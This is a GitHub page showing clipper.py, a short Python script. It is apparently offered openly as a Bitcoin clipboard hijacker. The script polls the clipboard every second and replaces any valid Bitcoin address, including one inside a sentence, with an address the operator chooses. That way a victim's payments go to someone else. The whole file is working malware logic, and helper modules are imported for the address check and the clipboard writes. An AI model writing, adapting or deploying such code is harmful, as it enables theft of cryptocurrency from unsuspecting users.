-
Notifications
You must be signed in to change notification settings - Fork 0
/
clipper.py
34 lines (26 loc) · 1.04 KB
/
clipper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import re
import asyncio
from helpers.bitcoin import bitcoin
from helpers.clipboard import clipboard
from helpers.clipboard import set_contents
def containsMultipleWords(string: str) -> bool:
try:
sentence = string.strip()
return bool(re.search(r'\b\w+\b', sentence))
except:
return
async def bitcoinClipper(switch_address: str):
while True:
await asyncio.sleep(1)
clipboard_contents: str = clipboard.contents()
if clipboard_contents == "" or clipboard_contents == " " or clipboard_contents == None:
return
else:
if containsMultipleWords(clipboard_contents):
clipboard.set_sentence(clipboard_contents, switch_address)
else:
if bitcoin.is_valid_address(clipboard_contents):
set_contents(switch_address)
if __name__ == "__main__":
switch_address: str = "download this on github (github.com/notkatsu)"
asyncio.run(bitcoinClipper(switch_address=switch_address))